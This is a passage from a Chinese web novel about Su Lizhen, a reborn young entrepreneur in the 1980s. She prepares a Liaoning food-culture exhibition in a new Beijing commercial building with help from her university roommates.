却是管明月站在教学楼前的雨搭下,老远看见她,三步并作两步跑下台阶:“珍珍,你怎么还站那儿发上呆了?这还差两分钟就八点了,丁教都来了,再不进去,可真要迟到了!” 苏丽珍压下胸腔的悸动,朝她露出一个歉意的笑容,二话不说,握住对方伸过来的手,两人一起飞快跑向教室。 这一次,直到踩着点、有惊无险地冲进教室,然后气喘吁吁坐在座位上,她都没有再恍神。 将管明月帮忙带来的专业书打开,这时,窗外的阳光恰好照进来,铺满了整间教室,她只看了一眼,便收摄住心神,开始认真听课。 重活一世,她既是她,也不是她。 她珍惜现在的人生,慢慢学会强大,学着勇于直面从前的自己。 虽然她也清晰地意识到,就算积蓄再多的勇气和力量,也没法原谅过去那个自己。 就像一个精神分裂者,冷眼旁观“自己”去审视和批判另一个“自己”,后者终年被囚禁在心牢里,前者则失去重获新生的自由和快乐。 日复一日,永难和解。 但她依然感到满足,且万分庆幸,因为她比别人多一次人生,多了一次重来弥补的机会。 —— 两年零六个月后 金秋时节,丹桂飘香。 堆满各种文件资料的办公桌旁,苏丽珍正举着电话筒认真倾听那头的人说话。 偶尔一阵浅浅的桂花香顺着敞开的窗户飘进来,她忍不住轻吸一口气,长时间运转而略显疲惫的大脑顿时清爽不少。 “高经理,您放心,我向您保证这次的展销会没有任何费用,而且因为贵企业是咱们的受邀参展嘉宾,所以您本次参展的产品运输也全程交给我们负责,您一分钱都不用花。” “我这次给您打电话,主要是想跟您做一下最后确认,确定贵企业三天后能准时出席我们的食品文化展销会,对吧,高经理?” 电话那边说了一句什么,苏丽珍很快回道:“高经理,您太客气了,您愿意来参展,就是给我这个主办方面子了。至于您说这次在展销会期间成交的订单,我们主办方也不会收取任何额外费用。” “毕竟产品畅销,更多是因为您家产品本身口味好、质量佳,能赢得顾客喜欢。而且咱们同为这次闯首都的辽省企业,您的产品在展销会上大卖,也是为咱辽省人添光增彩,我们‘珍珍’也能跟着沾光不是!” “……啊,是,这次多亏了省里刘书记肯为我一个私营企业主背书,让我们‘珍珍’有勇气向咱们省同行的前辈们广发‘英雄帖’,也难为大家不计较我年轻气盛,愿意出面支持我,所以才有了咱们这次辽省食品企业携手闯首都的壮举。不管怎么说,我是真心感谢刘书记和各位同行前辈们的鼎力支持。” 电话那头传来一阵爽朗的笑声。 双方又互相恭维了一阵,苏丽珍跟对方确定好凤城那边货车上门取货的时间,最后提醒参展的工作人员做好准备,准时报道,这才挂了电话。 放下话筒后,她忍不住轻揉眉心。 这时,门口响起一声轻笑,她一抬头,却是陈红梅端着一瓶牛奶站在那里,正笑盈盈地望着她。 见苏丽珍看过来,她才走进来。 “看看,原来我们无坚不摧的苏总也有皱眉发愁的时候,可见应酬这种事,除非天赋异禀,要不然谁来都要挠头。” 她一边笑着打趣,一边把手里的牛奶瓶轻轻放在苏丽珍面前:“喝吧,我特意冰过的,给你提神。” “谢谢红梅姐!” 打了两个小时电话,苏丽珍这会儿还真有些口干舌燥。 陈红梅玩笑归玩笑,看着一口气干掉半瓶冰牛奶的苏丽珍,还是正色道:“还有几家没联系?要是规模不大的小企业,就换我来吧!” 苏丽珍摇头:“基本都通知到了,反正没剩几家,我还是坚持到底吧。” 说完,她又拉住陈红梅的手,主动解释道:“红梅姐,我不是信不过你。主要这次是我的‘珍珍’第一次牵头这样的大事,就算有我们省刘书记帮忙说话,私底下也有不少不服气的。” “我自己无所谓,不过是被阴阳两句,但是为了那些势单力孤,却有魄力、有决心想闯荡一番的企业,还有省、市各部门大力支持我们的领导,我都一定要把这次的展销会办成t。所以这个电话必须我亲自打,一方面表达我的诚意,另一方面也算是把台阶给他们铺得足足的。毕竟首都不是那么好闯的,只有大家先达成一致,劲儿往一处使,才有机会争上一争。” 陈红梅理解地轻拍了拍她的手背:“咱们什么关系,我哪里会多心。而且这些事你不用说,我也懂的。” 陈红梅是真的理解。 她家有两家制药厂,跟珍珍家一样都是私营企业,也因为一个“私”字,跟个体户一样,最不受人待见。 甚至前几年,天天都有人说他们家是“资本家”,要搞“复辟”,理应被清除出队伍才对。 同样是干事业,他们私营单位好像先天低人一等,要干成什么事都比别人更难,付出更多。 而珍珍自己创办的企业,短短三年时间,不但在当地站稳脚跟,还牢牢掌握了整个东北地区的市场,更是在上半年期间,在首都周边几座城市试水成功,所以这次抓紧时机,开始进军首都。 要知道,没有一个生意人不想把生意做到华国的中心。 想想销售人员会跟买家说的话:“我们的产品已经卖到了首都!”,单这一句话,就无形中拉高了产品的价值。 但是首都市场的大门并不是那么容易敲开的。 这也是她最佩服好朋友、好室友珍珍的一点,就是即便她已经坐拥这么大的产业和如此骄人的成绩,却从没有被野心和骄傲冲昏过头脑,她清楚自己的优势和劣势,不打无把握的仗,在经过一次次的调研和考察后,选了这样一个集合众人,共同进击的办法。 既然一个拳头敲不开,那我就联合更多人,集齐几十上百个拳头,砸也要把你的大门砸开。 可这个办法也不是万无一失,毕竟一场展销会,参展的企业那么多,且大家都是半个同行,万一谁家的东西更对首都这边市场的路子,那她们岂不是最后要白忙一场,为他人做嫁衣? 她曾就这个问题问过珍珍,如果会上有哪个同行的产品一骑绝尘,甚至把“珍珍”也给压了下去,那该怎么办? 而当时好友的回答让她记忆犹新,她说:“如果我们的产品卖的不好,那只能说明是首都人民对我们的东西不感兴趣,后期可以针对这里的人开发新口味产品,或是干脆转移市场。但是不管怎么样,它作为一次试水的任务都已经完成了。” “要是有其他同行产品畅销,也不是坏事,至少它证明我们这次没有全军覆没,总归会有一、两家,甚至更多的企业能做出首都人民喜爱的口味,从而真正走出去。这对我们‘珍珍’来说,也算一个参考。而且只要能把辽省的东西带出去,让更多的人认识、了解这边的特色产品,了解辽省,那对于立足辽省、在辽省深耕的我们来说,未尝不是一种成功。” “另外,我相信,世界那么大,首都也不会是竞争的终点。” 陈红梅承认,当时听完这番话,她心中是十分震撼的。自打大二开始,她和室友们慢慢了解了珍珍的事业版图后,钦佩赞叹的同时,她一直觉得自己也不差。 不提作为家族继承人的她从小耳濡目染之下接触的家族“生意经”,只提自身因素,寒来暑往但凡有空闲就一头扎在工厂里的她,自诩无论是经营管理能力,还是在事业上拼搏的野心劲头,哪一方面都当得起一声“出色”,更不会认为自己比不上珍珍。 但是经过这次事后,她才发现,自己和对方其实差了很多。 祖父曾经说过,一个成功的企业家,不但要有精明的头脑、超前的眼光和快准狠的手腕,最重要的是一定要有格局。 如果没有这一点,一辈子到头也不过是个厉害点的作坊主罢了。 而她陈红梅,跟珍珍差的,恰恰就是这份胸襟气度。 现在,她对珍珍是打心眼里服气,更为有这么个好朋友作为自己努力的目标而暗自庆幸。 这会儿看见对方因为担心自己误会,着急解释的样子,心里越发柔软,安抚了一句后,又接着道:“咱们之间不必这么见外,我就是想尽量多帮帮你。而且我这边也差不多了,大伙儿练得都不错,这会儿需要我的地方也不多。我就想过来给你跑跑腿,打个杂什么的。” 因为海市这两年举办过好几次大型展销会,陈红梅家也有参加过,陈红梅自己也跟着去过两次,所以对展销会的流程比较熟悉。 加上她本人家族的关系,她对这种大型活动上接待人员的礼仪规范比较了解,苏丽珍就把从凤城自家门店和公司抽调的十五名员工交给她,请她帮忙做一下短期培训。 另外,活动当天,一些接待流程方面的工作也委托她帮忙居中协调把控—— 作者有话说:中秋节快乐! 第207章 苏丽珍见陈红梅处处体贴,心里真比刚才喝了冰牛奶还舒坦。 她不禁玩笑道:“你说你们几个,好不容易这学期课少了,能放松放松,你们偏偏都要跑我这里来做白工,而且还一再要求给自己增加工作量,真不怕我变成‘周扒皮’,使劲压榨你们啊?” 开学就是大四了,这学期学校只安排了六周学习课程,之后就开始实习了。 六周的上课时间,课程也很少,且只是少量的专业课和一部分选修课,平均下来差不多一天一门,最多的一天才两门课,非常轻松。 室友们原本打算实习之前,趁着这段时间课少好好放松放松,毕竟过去三年,学习任务繁重,光是应付老师们布置下来的五花八门的作业就够让人头疼了。 只是大家一听说苏丽珍要筹备一次跨省行业展销会,立马来了精神,嗷嗷叫着要来给她帮忙。 苏丽珍见大家是真心想过来,自然也十分乐意。原本是想给大伙儿算工资的,谁知道一开口就被几人狠狠回绝了,张口闭口嫌她太见外。 亲爱的室友们不但打定主意做白工,还分外用心。 每天学校和这边两头跑,不管是谁,只要学校没课就立马过来帮忙。 这些,苏丽珍都看在眼里。 她心中感动,也越发想回报室友们,更打定主意等展销会结束,筹划一番,好好犒劳犒劳大家。 陈红梅显然不这么认为:“怎么是做白工呢?你不是天天管我们饭吗?两荤一素,一天三顿不重样,地主老爷家也就这样了!” “而且,你不看我们大伙儿陪你一起筹备这次活动,学到了多少东西?连芳姐和明月都说,在你这里学到的经验对于她俩管理厂子有很大帮助,倒是应该给你补点学费才对。” 苏丽珍失笑,忍不住摇头:“芳姐和明月只是谦虚,如今以她们的阅历和能力,能在我这里碰到的,她们平时也未必没机会接触。” “其实你们都一样,都是为了来帮我。” 大一第一学期的寒假,吕新芳和管明月合伙一起制作、售卖拼布包,及各种布艺饰品。那个冬天,两人一个负责做、一个负责卖,虽然十分辛苦,却结结实实赚了一笔。 两人尝到甜头,越发有动力。第二年的暑假直接扩大规模,并在管父的帮助下,先租下了一个不足百平的旧库房,又从一家小型服装厂收购了二十台淘汰下来的旧缝纫机,打定主意大干一场。 那次,她们不但增加了产品的样式种类,又听从苏丽珍的建议,没有贸然去碰“服装”这个竞争激烈、更新换代频率更高的热门品类,而是转向了当下相对偏冷门的窗帘、门帘、沙发套、椅套、桌布之类的家居用品。 这类产品是居家过日子的必需品,却往往容易被忽略。以前布票紧张,人们自然要把“好钢用在刀刃”上,做成衣服穿在身上才更实惠。 自从83年12月份,国家取消布票,人们买卖各种布匹、衣物不再受限,加上生活水平的提高,大家对美观大方的新式样家居用品的需求自然也日益上涨。平时可能还不会特别关注,可一旦遇见了可心的,大多数人都舍得掏这个钱。 而对吕新芳和管明月来说,这些家具用品还有用料简单、制作更灵活的优点,不但便于控制成本,也更适配吕新芳最拿手的拼布手艺绝活,这可是低成本、高收益的典型。 事实证明,t苏丽珍的提议非常正确,两人厂子里用来试水的第一批门帘和沙发套在夜市上一经摆出,立马就被当天来逛夜市的附近小区居民抢购一空,直接来了个开门红! 最重要的是,两人回去一算账,利润尤其可观! 至此,吕新芳和管明月更坚定了要走这条路的决心,两人共同努力,事业也更加红火。工厂先后扩大了两次,缝纫机从一开始的二十台,到现在的八十台,在去年夏天也有了自己专属的销售门店…… 两人的成功固然离不开大背景下的时代红利,但是她们个人的眼光、魄力和努力更是取得好成绩的关键。 所以苏丽珍是真觉得让她们俩每天过来帮忙,有点大材小用,哪里还谈得上什么付学费呢! 陈红梅也是如此。她出身海市一个大家族,单她这一脉,在海市就有两家药企,在当地知名度很高。 刘思彤和万美君同样学业优秀,能力不俗,两次放假期间参与过商务部接待外宾的工作。据说学校预计等课程结束后,会安排她们俩进外贸部门实习。 总之,大家都很厉害,也很真心地对待她。 她都知道。 陈红梅却不认同她的话,不过她不愿意好朋友在这些小事上耗费心神,便顺着她的话转移了话题。 她想,反正大家对参与这次活动的收获心里门儿清,也都记在心里,可不是小六这个当事人不承认就行的! 两人说着话,陈红梅估摸着苏丽珍休息得差不多了,正准备拎着她喝空的牛奶瓶下楼。 恰好这时,窗外响起一阵汽车鸣笛声。 接着,苏丽珍办公室的门就被员工敲响了。 “苏总、陈老师,吕老师她们回来了!” 苏丽珍的几个室友来帮忙,其中吕新芳和万美君负责展会的一切布置陈列;陈红梅帮忙培训接待人员;管明月和刘思彤则专门负责一些对外及宣传事宜。 大家各司其职,且尽心尽力,虽然都是第一次接触这些,却也半点不露。哪怕私底下各种熬大夜泡图书馆查资料,加上四处摇人搬救兵,想尽了办法,但是明面上都一副有模有样的架势。 这也让苏丽珍手下一众从凤城来的老员工们心服口服,背地里都说,怪不得人家能考上首都大学、和老板做室友,果然是人以类聚,都是优秀的人才啊! 所以也不知道谁先开的头,大家就这么“老师”“老师”的叫上了。 陈红梅负责培训工作,被叫一声“老师”也就罢了,其他人可是心虚得很,只是纠正了几次也不管用,只好硬着头皮应下了,自此做起事来更加认真,尽量不出半点差错。 这次吕新芳和万美君因为审美好,所以主动揽过了会场的布置工作。从头顶的吊灯样式,到脚下地毯的材质,两人可谓事无巨细,还亲自动手设计了展销会配套的许多摆件用品,比如隔断、窗帘、台布、桌布、各种宣传横幅等等。 连接待人员的工作服都没落下,绝对细致又全面! 其中,涉及到的商务楼和展会用品,苏丽珍都全权委托给了吕新芳和管明月的工厂,让她们接下了这笔单子。 在苏丽珍的坚持下,这笔合同完全是以市场价格签订。 而且苏丽珍在看过两人的设计图纸后,心里就打算等东西布置好,在正式开展前,先请个摄影师过来多拍几套相关的美图,到时夹在活动当天的报道中一起发出去,说不定能为两个好朋友的厂子做一次引/流。 不过这些就暂时不告诉两人了,她俩肯定不会同意,苏丽珍决定自己悄悄安排一下。 说回正题,今天上午的时候,苏丽珍就接到吕新芳的电话,说是定制的展会用品已经全部做好,预计午后就能送过来。 万美君高兴得中午饭都没吃,就急吼吼赶了过去。 这会儿俩人终于回来了,苏丽珍也有点坐不住了,立马跟陈红梅一起下了楼。 这次的展览会地点就是眼下她们所在的商业楼。 说来也巧,建造现在这栋洋气的五层商业大楼的地皮,正是当年苏振东工作过的那间小杂酱厂。 当年,杂酱厂的工人和器械被收归果脯厂后,这片地方自然也空置了下来。 按说这里地段好,也不是没人相中过,奈何原先杂酱厂的房子实在太破旧了,连租来当库房都做不到。 加上这一块地皮不大不小,当住宅用嫌太大,商用建厂又太小,谁谁都觉得不合适,所以竟一直这么空了几年没人问。 直到苏丽珍无意中了解到,这才起了心思,决定买下这块地皮的使用权盖商业楼,为“珍珍”进驻首都,开拓华中和南方市场做准备。 刚好今年夏天,丁大勇和薛老爷子那边忙完了最后一部分新客运站工程的装修工作,能腾出手来进京。 在给第四建筑公司打下手,共同参与完成了凤城新客运站的施工项目后,“筑梦”公司这边累积学习了大量技术和经验,现在给苏丽珍盖这栋五层的商业楼,完全没有难度。 从六月开工,耗时三个月,这块原本不起眼的土地上,一栋洋气时髦,集商业门店、展览和办公为一体的商业大楼拔地而起,一跃成为了附近这一片最醒目的建筑。 苏丽珍和陈红梅下了楼,最先映入眼帘的是站在大楼前三五成堆看热闹的人群。 这已经是这里的常态了。 自打第一天盖楼开始,附近居住的人就经常过来看热闹。尤其是大楼建成当天,随着楼顶挂上“珍珍”两个金光闪闪的醒目大字,这栋洋气十足的摩登大楼就多了一个响亮的“外号”:珍楼,更成了这一片居民每天茶余饭后最爱来溜达一圈的地方。 这会儿,吕新芳和万美君正指挥着工人卸车。 苏丽珍和陈红梅直接走过去,见两个人忙碌了大半天还神采奕奕的,只看俩人这精神头儿,就知道她们这批定制品效果不错。 最活泼的万美君,更是老远看见她们就兴奋地招呼道:“珍珍、红梅姐,你们快来看,咱们的东西都做出来了!” 苏丽珍立刻捧场道:“那干脆直接布置起来吧,叫大伙儿都来欣赏欣赏!” 这话很快得到了大伙儿的赞成。 于是大家一起动手,卸车后就立马按照吕新芳和万美君的指示开始布置。 这栋商业大楼占地四百二十平,整体外观是时髦的米白色仿西式雕花建筑,大楼内部装饰也以明快的浅色调为主。 整个一楼几乎没有拆分,接近四百平的巨大空间足够举办一些宣传活动,平时也可以用精巧的隔断分隔出一部分区域,用来摆放柜台,当做公司的零售门点。 二楼原本是要分成会客区、会议室、员工休息室、食堂等多个功能区的,只是这次来京参展的企业有三十七家,另外为了炒热气氛,加上有意交好,苏丽珍还特地邀请了首都和周边地区六家小有名气的食品企业作为嘉宾助力活动。 这样再加上他们自己,总共就是四十四家企业参展,只一个一楼就不够用了。所以二楼暂时先放弃装修,等这次展会结束,可以直接用一楼的隔断做分区,效果也是一样的。 这四十四家企业,刚好每层安排二十二家。 每层楼的展位都分成两排,“背靠背”集中在大厅中间位置,这样四周能空出更多位置容纳人群。 展位是标准的4×3格局,也就是十二平米大,全部用米灰色木质隔断分隔成三面封闭、一面敞开的独立空间。 每个独立空间都配备上一张1.5米长的米黄色长方形展台,两侧靠墙则是1.5米高的同色展架。 三面隔断墙上都用淡金色和水粉色交织的绸带装饰,长方形展台铺上造价不低的香槟色丝光提花台布,两个展架顶端、面朝顾客的位置则分别摆放了一个特制的“珍珍”公司吉祥物玩偶——一只暖黄色、肥嘟嘟的小胖鸡。 展台四周还会布置一圈气球和彩带,连介绍参展单位及其产品的展牌支架都绑了一圈亮眼的黄金色缎带配浅紫色蕾丝花边。 展位外,通往二楼的楼梯扶手和背景墙上也挂上金红两色缠绕的绸带,上面点缀着精美的绒布蝴蝶结和彩色花环。 而开展当天,两层楼大厅地面以及楼梯上还会铺一层大红色地毯。 现在,除了这些装饰物,两层楼的四十扇窗子也全部装上了浅金色镂空绣花落地窗帘,所有绣花全部采用纯手工技艺。当初,为了赶制这批窗帘,吕新芳和管明月可是花费了不少t精力四处搜罗会刺绣的人。怕人手不足,耽误出活儿,吕新芳那几天更是起早贪黑在厂子里赶工。 好在两人的心思没白费,这批窗帘一挂上,再加上昂贵的进口水晶吊灯加持,整个大厅立时又上了一个档次,显得富丽堂皇又柔和雅致,特别有高级感。 这会儿,公司里的所有女同事都忍不住凑过来围着这些漂亮的窗帘看了又看,还有好几个人偷偷跟吕新芳打听价钱。 估计是真的喜欢,哪怕得知做这样一副窗帘的造价是普通窗帘的三倍,也没浇灭她们的热情。 总之,这一次,整层楼、乃至所有展位的设计布置都力求华丽、高级。 第208章 按说,苏丽珍这次要举办的是食品展销会,展会布置并不需要走这种轻奢华丽的路线,接地气儿一点更好。 只不过这里有个说头。其实国内一直有展销会这种企业产品宣传活动,但是八零年之前的展销会,无论是规模、还是成交额都比较小,导致很多人没听说过这种宣传方式。而且那时候的展销会还起了个特别不好的头,就是专门用来清理积年库存的。 举个例子,从七八年到七九年之间,单首都一地就共计举办了五次展销会,参展商品也从日用百货到五谷杂粮,几乎应有尽有。可这几次展销会无一不是以“清理积压库存物资”为主题,主打就是一个“清仓大处理”。 这样就导致在人们意识里,总觉得国内这些展销会就是专门用来处理“货底子”的,跟“高档”两个字完全不沾边。 也就是这两年,这种情况才稍微好转一点。 苏丽珍想打开首都市场,办展销会这种面对面的宣传促销活动肯定是眼下最快捷、最有效的方法。 而她要用这种方法,就要先改变大多数人对展销会的固有认知。 所以她这次才不计成本地把整个会场往“高级”“高档”方向靠。 一方面,是通过这种直观的富丽场面呈现,能顺带提升一下家乡美食的格调,抬高一点档次。同时,也充分表达了他们对这里的市场和人们的重视,起码不至于让人联想到他们是来这儿“清货底子”的,那可是天大的冤枉。 另一方面,也是对应他们这次的展会主题“食品文化”。既然涉及到“文化”两个字,那高雅一点总不会错。 除了整体高档的布置风格,吕新芳和万美君在一些小细节上也花了不少心思。 两人都知道苏丽珍作为这次活动的牵头人和主办方,不好在活动期间一味明晃晃地宣传自己,以免引起其他企业误会,认为他们只是过来“陪衬”的,所以两人就贴心地为“珍珍”设计了一些有宣传意义的小物件,布置在会展中经常能接触到、但又不过分引人注目的地方。 比如,展位货架上那两个“珍珍”吉祥物玩偶算是一种;展位前、楼梯上装饰用的缎带上,也印有“珍珍”的商标图案;供大宗交易洽谈的三个休息室内,更是随处可见“珍珍”公司的宣传物品。 最后,苏丽珍还为本次展销会免费赞助了一批加印了自家宣传文案的活动专用精品包装袋和包装盒。 没有以往各种显眼的广告展示牌、横幅和宣传册,但“珍珍”两个字却以一种“润物细无声”的方式覆盖整个会场。 众人欣赏着装饰一新的华丽会场好一会儿,苏丽珍才转头笑着对吕新芳和万美君夸赞道:“芳姐、美君,你们的设计简直太棒了,我特别喜欢。这次辛苦你们了!” 吕新芳把两只手搭在旁边的万美君肩膀上,笑道:“你夸我东西做得好,这一点,我厚着脸皮承认了。但要说设计,主要还是咱们美君出力最多!” 万美君被夸得不好意思,难得腼腆起来:“哪有,我只是参与了一点设计工作,芳姐才是从头跟到尾的人,还是她的功劳最大。” 苏丽珍合掌夸道:“美君眼光优越,才华出众;芳姐心灵手巧,做事认真负责,你们都有功劳,都帮了我大忙,我都记着呢!等活动结束,我肯定要好好犒劳你们这些大功臣!” 吕新芳却突然笑起来道:“说到功臣,我们刚刚回来的时候碰到明月和思彤她们了。哎呦,明月我就不说了,外场的事她一向擅长。最主要是咱们小四,这回被好几个大爷大妈围住了,除了一开始的时候慌了那么一下下,后面马上就稳了下来,认认真真把咱们的活动给大伙儿都介绍了一遍,全程有问必答,也没怎么磕巴,看着可像那么回事了!” 管明月和刘思彤主要负责宣传工作。 对于这次展览会的宣传策略,还是苏丽珍惯用的那一套法子。 提前一周找电台、登报纸开始预热,然后安排专人、专车,在各个市区游行宣传,最大程度地引起人们的关注。 管明月是第一次听说这种宣传方式,在看过两年前那次凤城本地抽奖宣传游行活动的资料后,立即产生了浓厚兴趣,抢着接下了这一项的带队任务。 刘思彤的情况则比较特殊。作为寝室六姐妹中的小四,刘思彤的性格有点偏内向胆小,在熟悉的人前还比较活泼,但是一到了外面就经常表现得不爱说话,面对一些需要社交应酬的场合也会感到紧张,甚至是害怕。 偏偏她又特别想当一名翻译官,这种一看到陌生人就不敢张嘴的毛病肯定不行。 所以这次借着帮助苏丽珍举办展销会的机会,她一咬牙,决定跟随管明月一起外出搞宣传,锻炼一下自己。 这次专车游行宣传计划是五天时间,这才过去一天半,想不到她就有了这么大的进步,苏丽珍和陈红梅听了自然也为她开心。 吕红梅最后总结道:“所以珍珍,其实你完全不必觉得欠了我们,因为在你这里学到的东西,远比我们用同等工作量赚取的工资更有价值,也更宝贵。我们已经得到了最好的报酬。” 吕新芳说完,万美君立即用力点了点头,陈红梅也朝她比了个“大拇哥”。 苏丽珍却不这么想。 一次锻炼自己和增长见识的机会固然重要,但是这些经验和技巧的获取是非常主观的一件事,也就是俗话说的“师父领进门,修行在个人”。 室友们通过这次展销会各有收获,这主要还是跟大家各自的努力和用心有关,是她们自己的付出,才换来了这样一份好的结果。 但是苏丽珍作为她们付出的直接受益人,仅仅因为对方自己的努力换来了一些必然的好处,就抵消掉对方为她付出的辛苦,实在是不应该。 越是珍惜的朋友、亲人,越不应该理所当然地忽视掉对方的付出。 那才是对真心最大的浪费和亵渎。 苏丽珍很重视、也很在乎她的好朋友们,绝不会挥霍这份心意和感情。 只不过回报朋友的方式有很多种,不必急于一时,更不能一味只用金钱敷衍,贴心才最重要。 眼下大家的任务没有完成,也不是争论这些的时候,但她心里还是有数的。 正好这时候,有个女员工跑过来:“吕老师,您带来的司机师傅让我问一句,您车里的工作服是不是也得卸下来?” 吕新芳一拍脑门:“看我这记性,把这茬都忘了!” 这次一共订做了三十套展会制服,因为现在首都的天气还比较暖和,尤其是有太阳的时候,穿一件衬衫就绰绰有余。 所以这次的制服也设计的薄款样式,男女都是白衬衫加红色小马甲,男士下/身是黑色西裤,女士是黑色过膝包身裙配长筒丝袜。 整套制服全部采用修身设计,加上能体现挺括质感的好面料,一些细节处也用心十足。比如小马甲的V形领上滚了一层金线,左侧上襟和裙(裤)子右上侧还分别用金线绣了一组“珍珍”的花体汉字和汉语拼音,离远看就像两簇金色的小花,十分别致。 所以这套制服一上身,人立马显得特别精神。 苏丽珍看着因为喜爱新衣服而兴奋不已的员工们,心里也有些感慨。 这套衣服是万美君和吕新芳一起设计出来的,她从头到尾没有插过嘴,想不到最后出来的效果却神似上辈子在米国看到的航空公司空姐们穿的制服。 现在,飞机还是国内比较奢侈的交通方式,普通人能接触到空姐的机会也几乎没有,她确定万美君和吕新芳也从没接触过这方面相关。 加上如今国人的工作t制服要么白大褂、要么蓝工装的大背景下,万美君和吕新芳仅凭自己就能设计出这样时髦的款式,只能说两个人确实在这方面很有才华,尤其是设计理念和时尚感更是远超当下许多人。 苏丽珍也朝着被员工们围在中间夸赞的吕新芳和万美君竖了下“大拇指”,然后和一旁笑眯眯的陈红梅打了声招呼就悄悄上楼了。 还有几个电话没打,朋友们都这样努力且优秀,她也要加油了。 第二天下午,从凤城出发的第一批满载参展企业货物的车队准时抵达。 十二辆蓝色大解放在“珍楼”门口一字排开,一箱箱货物被从盖着厚实苫布的车厢里卸下来,再搬进气派的大楼内,场面整齐有序,引得不少过往行人驻足观看。 这一次负责带队运货的是刘五爷,本来以对方的身家资历,其实完全没必要亲自跑这一趟,但是当初他一听说苏丽珍要带着大伙儿一起去首都举办展销会,就二话不说站出来响应。 除了这趟自己亲自带队进京,用行动表示支持外,连这一次的运费,他也只给苏丽珍核了一个成本价。 因为前一天出发前通过电话,苏丽珍估算好时间,提前在“珍楼”外等候,直到接到刘五爷,又亲自带人把做为展区的一楼、二楼走了一遍,最后才把人迎到三楼办公室休息。 刘五爷看着苏丽珍这一路礼数周全的样子,心里也十分受用,开口时声音亲切又慈祥:“行了,丫头,咱爷儿俩啥关系,哪里用得着你这么见外,赶快坐下咱俩好好唠唠。” 说着,又忍不住夸起苏丽珍来,“你这大楼盖得可真气派,里头布置得也亮堂,看着跟皇宫似的!还别说,这里里外外的,真跟你之前送回来的那个啥展示图上印的一模一样!” “要我说,还得是大侄女你,干啥像啥!” 早在吕新芳和万美君开始着手布置会场的时候,苏丽珍就按照她们的设计思路找人专门制作了许多展示效果图,送给各参展企业。一方面让他们通过这套展示图,对这边的情况先有个大致了解;同时,也是给大家吃一颗“定心丸”,叫大伙儿明白,她是真心想办好这次的展销会,没有半点敷衍。 苏丽珍将一杯温度正好的茶水放在刘五爷面前,闻言笑道:“主要是我师哥和几个同学都比较有想法,要光凭我自己,可做不出这样的效果。” 刘五爷失笑,伸手虚点她道:“你啊你,有时候我真怀疑你这小家伙里头是不是有个已经活了好几十岁的芯子,要不然咋能这么稳当!我家那大小子比你大了快十岁了,连你一半都比不上,要是他哪天能像你这么能拿事,我也能退休享享清福了!” 这话还真叫苏丽珍有点顶不住,因为她内里确实是一个比别人多活了一辈子的灵魂,两辈子加一起可不真是活了好几十岁吗? 她飞快稳住心神,谦虚道:“五伯您如今正是年富力强的时候,有您给光荣大哥掌舵,您家的事业自然还能更上一层楼,所以您现在可不能光想着退休。” 这话说到了刘五爷心坎里,他是个不服老的人,尤其眼下自家的事业正红火,他自然不舍得早早退居二线,还想着在这时代的大浪潮里再多翻滚几圈。 不过说到自家的好事业,就不得不感谢一下眼前这个屡次给他出妙招的年轻姑娘,这可是他们老刘家的贵人! 这世间的关系都需要用心维护,人家几次给他帮了大忙,他这边自然也不能差事,该尽心的地方绝不能有半点马虎。 想起正事的刘五爷也顾不得喝茶聊天,神色一整,便跟苏丽珍交待起这次上京运货的前后经过。 刘五爷今次带队的第一批车队,承运了包括“珍珍”在内的一共19家企业的货物。 这19家企业,其中凤城本地企业有14家,另外5家是距离凤城较近的周边城市企业。 车队12辆大汽车,有3辆车拉的都是“珍珍”家的产品,还有两家外地的糕点厂和调料厂各自占用了一辆车。 这一下就去了5辆车,也就是说,剩下的7辆车却足足承担了剩下总共16家企业的货物。 这16家企业里,有6家一共占用2辆车,余下10家刚好是每2家用一辆车。 而这次苏丽珍的展销会预计开展三天,除了能免费使用的库房外,基本的展位面积也达到了十二平,可以容纳许多货物。 现在别说三家、两家的才能凑够一辆车,就算是单独一整车的货物,如果不考虑布局美观的问题,对于这十二平米的空间来说,也完全绰绰有余。 这些企业却只肯送这么点儿货过来,摆明了他们内心里还是不看好这次展销会。 估计如果不是苏丽珍提出免费帮运货进京,加上有省里刘书记打招呼,可能他们连这点儿货都不想出,到时候随便派个人过来应付一下就算完事。 第209章 苏丽珍翻看着手里这次进京企业的货物清单,情绪稳定。 这种情况早在昨天刘五爷出发前通知她,这次只有12辆车的时候,她就已经想到了。 她这次邀请过来的企业中,除了省内几家赫赫有名、不愁销路的名牌企业外,其中有相当一部分是离了本土就名不见经传的中小型企业。 这几家大企业派出参展的货品,无论数量、还是种类都不少,加上好几名随行人员,规模可不小。所以苏丽珍已经和这几家提前约好,会单独安排一个车队负责运输他们的货物,赶在开展前一天上午到京。 剩下占了半数的小企业,大多效益一般,而且普遍有自身产品质量过硬,但是口味不突出,仅能靠一、两款口碑不错的产品勉力维持收支平衡的特点。 如今经济发展飞快,好多私人企业如雨后春笋般蓬勃发展,相比那些需要“高”“精”“尖”技术支撑的企业,食品行业本身门槛不高。只要你掌握了能做出美味食物的配方,然后有资源、有能力把它们变成可以量贩的流水线产品,在口味有保障的前提下,守着当下的市场,你就不难挣到钱。 这种大背景下,这些国字号的企业如果还不思进取,努力调整自身,迎合市场,只一遇到困难就等着朝上面伸手要支援,那就根本谈不上什么未来发展。 苏丽珍原本也没打算邀请这些企业,是高书记找她谈话,希望她能伸手拉一拉这些企业,她才改变主意的。 当初她准备邀请盟友一起进京开展销会,哪怕她的“珍珍”如今在凤城、在辽省名声响亮,但只因为一个私营经济的“私”字当头,便处处遇冷。那些企业不管规模大小、效益好坏,通通不愿接下她的橄榄枝。 无奈之下,她抱着试一试的心态,通过两年前在报社门口偶遇刘书记而得到的对方的联系方式,给刘书记写了一封信。 没想到几天后,她真的接到了对方的回信,并得到了刘书记的大力支持。 这才有了辽省几家榜上有名的大牌老企业一同过来加盟助阵的好消息。 说白了,人家答应出人、出货,可不是看在苏丽珍的面子上。 后面也正是因为有这几家大企业带头,好几家苏丽珍之前相中、却拒绝她邀请的中小型企业才跟着点了头。 是刘书记帮了她大忙,她自然也不能驳了老人的这份请求。 加上想起上辈子在米国流浪时,遇到的两个跟她一样因为下岗衣食无着,咬着牙偷/渡过来想挣一条活路的老乡。 如果她帮一把,能给某些企业带来动力,触发变革的思考和决心,让他们焕发斗志,努力去争取一回,说不定就能改变一些糟糕的结局。 她答应了刘书记,也由衷希望这些企业能做出一点改变,起码不要总是闭着眼睛、捂住耳朵,好歹多听听、多看看这个无时无刻不在发生巨大变革的世界。 眼下这个结果在她意料之中,说一点不失望是假的,不过也尚能接受,毕竟“冰冻三尺非一日之寒”。 